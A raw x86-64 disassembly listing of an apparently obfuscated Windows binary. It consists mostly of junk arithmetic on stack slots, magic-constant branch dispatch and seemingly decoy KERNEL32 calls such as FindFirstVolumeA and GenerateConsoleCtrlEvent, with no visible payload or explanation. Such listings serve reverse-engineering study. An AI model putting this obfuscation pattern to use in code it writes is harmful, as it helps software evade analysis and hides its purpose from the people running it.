mov rcx, qword [rsp + 0x8ac0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x71]
sar eax, cl
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
mov rax, qword [rsp + 0x8b68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x72]
or eax, ecx
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8b80]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8b50], rax
mov rax, qword [rsp + 0x8bc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b20]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bb8], rax
mov rax, qword [rsp + 0x8b48]
mov rcx, qword [rsp + 0x8b70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4cbc]
mov ecx, dword [rsp + 0x4cec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cc4], eax
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xff0]
sub eax, ecx
mov word [rsp + 0xffc], ax
jmp 0x140003478
lea rax, [rsp + 0x71]
mov qword [rsp + 0x8bf0], rax
lea rax, [rsp + 0x72]
mov qword [rsp + 0x8bf8], rax
mov eax, dword [rsp + 0x4ccc]
mov dword [rsp + 0x4d54], eax
cmp dword [rsp + 0x4d54], 0xf6ce
je 0x1400038fd
jmp 0x140003958
movsx eax, word [rsp + 0xffc]
movsx ecx, word [rsp + 0xff0]
add eax, ecx
mov word [0x1401e8790], ax
movsx eax, word [rsp + 0xff0]
movsx ecx, word [0x1401e8790]
add eax, ecx
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8bc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ab0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8af8], rax
jmp 0x140003a9d
mov rax, qword [rsp + 0x8ac8]
mov ecx, dword [rsp + 0x4d44]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x4cac]
mov edx, dword [section..data]
and edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140003a59
movsx eax, word [rsp + 0xffc]
movsx ecx, word [rsp + 0xff0]
xor eax, ecx
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
mov dword [rsp + 0x4d58], ecx
movsx edx, word [0x1401e8790]
movzx ecx, dl
mov edx, dword [rsp + 0x4d58]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x140003a1c
mov edx, 0xf9
lea rcx, [rsp + 0x2a0f0]
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
mov qword [rsp + 0x8c00], rax
mov rax, qword [rsp + 0x8b50]
mov rcx, qword [rsp + 0x8b80]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b70]
mov rcx, qword [rsp + 0x8b48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4d50], eax
jmp 0x140003a59
movzx eax, word [rsp + 0xff8]
movzx ecx, word [rsp + 0xff4]
sar eax, cl
movzx ecx, word [rsp + 0x1000]
cmp eax, ecx
jle 0x140003a59
mov r8d, 0xde
mov rdx, qword [rsp + 0x8ba0]
mov ecx, 0xc1
call sub.KERNEL32.dll_VerLanguageNameA
mov dword [rsp + 0x4d50], eax
mov rax, qword [rsp + 0x8b78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cbc], eax
mov dword [rsp + 0x4d5c], 0xe2c6
lea rax, [rsp + 0x70]
mov qword [rsp + 0x8c08], rax
lea rax, [rsp + 0xff0]
mov qword [rsp + 0x8c10], rax
movzx eax, word [rsp + 0xff4]
movzx ecx, word [rsp + 0x1000]
imul eax, ecx
mov word [rsp + 0xff8], ax
cmp dword [rsp + 0x4d04], 0xac3
jb 0x140003dcc
mov rax, qword [rsp + 0x8b80]
mov rcx, qword [rsp + 0x8ad0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b28]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
mov eax, dword [rsp + 0x4d00]
mov ecx, dword [rsp + 0x4cc4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cd0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ccc], eax
mov rax, qword [rsp + 0x8b00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b80], rax
mov rax, qword [rsp + 0x8bc8]
mov rcx, qword [rsp + 0x8b20]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8bb8], rax
movzx eax, word [rsp + 0xff8]
movzx ecx, word [rsp + 0x1000]
add eax, ecx
mov word [rsp + 0xff4], ax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8b68]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x71]
sub eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e8790], ax
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8bf0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8b48]
mov rcx, qword [rsp + 0x8ac8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8b48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b00]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8b80]
shr rax, cl
mov rcx, qword [rsp + 0x8b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4cec]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8af8]
mov rcx, qword [rsp + 0x8bb8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x71]
sub eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
movsx eax, word [rsp + 0xffc]
movsx ecx, word [0x1401e8790]
and eax, ecx
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0x8c10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8c10]
mov word [rcx], ax
mov rax, qword [rsp + 0x8b70]
mov rcx, qword [rsp + 0x8b48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
mov rax, qword [rsp + 0x8b50]
mov rcx, qword [rsp + 0x8ad0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b80], rax
mov eax, dword [rsp + 0x4d04]
sub eax, 0xb7
mov dword [rsp + 0x4d04], eax
mov rax, qword [rsp + 0x8b48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d50], eax
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4d00]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4cec], eax
mov rax, qword [rsp + 0x8bc8]
mov rcx, qword [rsp + 0x8bb8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8bc8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4cbc]
movzx ecx, al
mov eax, dword [rsp + 0x4cec]
shl eax, cl
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
jmp 0x140003ab8
cmp dword [rsp + 0x4d40], 0x8d40
jbe 0x1400041a2
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xff0]
sar eax, cl
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x72]
movsx ecx, byte [rsp + 0x70]
and eax, ecx
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov eax, dword [rsp + 0x4cec]
mov ecx, dword [rsp + 0x4cbc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x72]
sub eax, ecx
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x8bc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8bb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8af8], rax
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ad0], rax
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cac]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b48]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4d40]
sub eax, 0x11
mov dword [rsp + 0x4d40], eax
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4cc4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xffc]
add eax, ecx
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x71]
sub eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
mov rax, qword [rsp + 0x8bf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x72]
add eax, ecx
mov rcx, qword [rsp + 0x8bf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8af8]
mov rcx, qword [rsp + 0x8b20]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x71], al
mov eax, dword [rsp + 0x4d44]
movzx ecx, al
mov eax, dword [rsp + 0x4ccc]
shl eax, cl
mov dword [rsp + 0x4cac], eax
mov rax, qword [rsp + 0x8b20]
mov rcx, qword [rsp + 0x8bc8]
mov qword [rsp + 0x8c18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8c18]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x8bc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4cec]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b80]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b28]
mov qword [rcx], rax
movsx eax, word [rsp + 0xff0]
mov rcx, qword [rsp + 0x8c10]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xffc], ax
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x72]
add eax, ecx
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4cec]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
movsx eax, word [rsp + 0xff0]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xffc], ax
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rsp + 0x8ad0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8b50], rax
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ccc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cac], eax
mov eax, dword [rsp + 0x4d00]
mov ecx, dword [rsp + 0x4cc4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cec], eax
mov rax, qword [rsp + 0x8bc8]
mov rcx, qword [rsp + 0x8bb8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8ab0], rax
movzx eax, word [rsp + 0xff4]
movzx ecx, word [rsp + 0x1000]
xor eax, ecx
mov word [rsp + 0xff8], ax
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x71], al
movsx eax, word [rsp + 0xffc]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8c10]
mov word [rcx], ax
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8c10]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e8790], ax
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4d00]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
jmp 0x140003dcc
lea rax, [rsp + 0x8b20]
mov qword [rsp + 0x8c20], rax
mov eax, dword [rsp + 0x4d44]
mov dword [rsp + 0x4d60], eax
cmp dword [rsp + 0x4d60], 0
je 0x1400041e0
cmp dword [rsp + 0x4d60], 0xe1f1
je 0x1401cc567
jmp 0x1401cc5e9
cmp dword [rsp + 0x4d38], 0x10724
ja 0x1400047a2
movzx eax, word [rsp + 0x1000]
movzx ecx, word [rsp + 0xff8]
add eax, ecx
mov word [rsp + 0xff4], ax
mov rax, qword [rsp + 0x8bf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x71], al
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov byte [rcx], al
movsx eax, word [rsp + 0xffc]
movsx ecx, word [rsp + 0xff0]
or eax, ecx
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8b78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d00]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cec], eax
mov rax, qword [rsp + 0x8b80]
mov rcx, qword [rsp + 0x8b00]
mov qword [rsp + 0x8c28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8c28]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x8b50], rax
mov rax, qword [rsp + 0x8b48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8ac8]
mov qword [rsp + 0x8c30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8c30]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x8b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ab0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b20], rax
movsx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0x8bf8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8c10]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rsp + 0x8b50]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8bf8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
movsx eax, word [rsp + 0xff0]
movsx ecx, word [0x1401e8790]
sub eax, ecx
mov word [rsp + 0xffc], ax
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b50], rax
mov rax, qword [rsp + 0x8b20]
mov rcx, qword [rsp + 0x8ab0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b48]
mov rcx, qword [rsp + 0x8b70]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8b48]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4cbc]
mov dword [rsp + 0x4d00], eax
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
mov rax, qword [rsp + 0x8b68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ac0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8c10]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1401e8790], ax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x71], al
mov eax, dword [rsp + 0x4d00]
mov ecx, dword [rsp + 0x4cec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ab0]
mov rcx, qword [rsp + 0x8bb8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4cac]
mov ecx, dword [rsp + 0x4d44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cd0], eax
mov rax, qword [rsp + 0x8ad0]
mov rcx, qword [rsp + 0x8b50]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1000]
movzx ecx, word [rsp + 0xff4]
sub eax, ecx
mov word [rsp + 0xff8], ax
movsx eax, word [rsp + 0xff0]
mov rcx, qword [rsp + 0x8c10]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4d00]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0x8bf8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4cbc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4cec], eax
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rsp + 0x8b00]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8b50], rax
mov eax, dword [rsp + 0x4d50]
mov rcx, qword [rsp + 0x8ac8]
mov qword [rsp + 0x8c38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8c38]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4cac], eax
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ab0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bc8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1000]
movzx ecx, word [rsp + 0xff4]
shl eax, cl
mov word [rsp + 0xff8], ax
movsx eax, word [rsp + 0xff0]
mov rcx, qword [rsp + 0x8c10]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0x8c08]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x72]
add eax, ecx
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x8bc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8bb8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cd0], eax
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rsp + 0x8ad0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8b50], rax
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4cec]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4d38]
add eax, 0x71
mov dword [rsp + 0x4d38], eax
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8c10]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
jmp 0x1400041e0
movsx eax, byte [rsp + 0x72]
movsx ecx, byte [rsp + 0x70]
sar eax, cl
mov rcx, qword [rsp + 0x8bf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8b48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cd0]
or ecx, eax
mov eax, ecx
mov dword [0x1401e7004], eax
mov rax, qword [rsp + 0x8bb8]
mov qword [rsp + 0x8c40], rax
cmp qword [rsp + 0x8c40], 0
je 0x14000480b
movabs rax, 0x798fccb8890f01
cmp qword [rsp + 0x8c40], rax
je 0x14000490c
jmp 0x1400049fa
movzx eax, word [rsp + 0xff8]
mov word [rsp + 0x1004], ax
mov dword [rsp + 0x4d64], 0x7158
movzx eax, word [rsp + 0xff4]
movzx ecx, word [rsp + 0xff8]
xor eax, ecx
movzx ecx, word [rsp + 0x1000]
movzx edx, word [rsp + 0x1004]
and ecx, edx
cmp eax, ecx
jle 0x140004907
movzx eax, byte [rsp + 0x70]
mov byte [rsp + 0x73], al
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x8b08]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
je 0x1400048ec
mov eax, dword [rsp + 0x4cbc]
mov ecx, dword [rsp + 0x4cc4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4d44]
mov ecx, dword [rsp + 0x4ccc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cd0], eax
mov ecx, 0x9a
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rsp + 0x8c48], rax
mov rax, qword [rsp + 0x8b78]
mov edx, dword [rax]
mov rax, qword [rsp + 0x8ae8]
movzx ecx, word [rax]
call fcn.1401cd2d0
nop
mov dword [rsp + 0x4d68], 0x5236
lea rax, [rsp + 0x8b80]
mov qword [rsp + 0x8c50], rax
jmp 0x1400049fa
mov rax, qword [rsp + 0x8bc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b20]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bb8], rax
mov eax, dword [rsp + 0x4cc4]
mov dword [rsp + 0x4d6c], eax
cmp dword [rsp + 0x4d6c], 0x620a
je 0x1400049dd
cmp dword [rsp + 0x4d6c], 0x7724
je 0x14000495e
jmp 0x1400049fa
mov rax, qword [rsp + 0x8b80]
mov rcx, qword [rsp + 0x8ad0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b28]
mov rdx, qword [rsp + 0x8c50]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jne 0x1400049c5
mov edx, 0xe9
mov ecx, 0x6b
call qword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
mov dword [rsp + 0x4ce4], eax
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
movzx edx, byte [rsp + 0x73]
mov rax, qword [rsp + 0x8b88]
movzx ecx, byte [rax]
call fcn.1401cd640
nop
jmp 0x1400049fa
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xffc]
sub eax, ecx
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d44]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b70]
mov edx, dword [rsp + 0x4cac]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
jbe 0x140004ad3
mov rax, qword [rsp + 0x8b50]
movzx ecx, al
mov rax, qword [rsp + 0x8b80]
shl rax, cl
mov rcx, qword [rsp + 0x8ad0]
mov rdx, qword [rsp + 0x8c50]
mov rdx, qword [rdx]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
jne 0x140004a90
mov rax, qword [rsp + 0x8c10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c10]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x4ccc], eax
jmp 0x140004ad3
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4cbc]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x4cc4]
mov edx, dword [rsp + 0x4cec]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x140004ad3
movzx eax, word [rsp + 0xff8]
movzx ecx, word [rsp + 0x1004]
sub eax, ecx
mov word [rsp + 0xff4], ax
mov dword [rsp + 0x4d70], 0xa69b
movzx eax, word [rsp + 0x1000]
movzx ecx, word [rsp + 0x1004]
add eax, ecx
movzx ecx, word [rsp + 0xff8]
movzx edx, word [rsp + 0xff4]
add ecx, edx
cmp eax, ecx
jge 0x140004b49
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8bc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8bb8]
add rcx, rax
mov rax, rcx
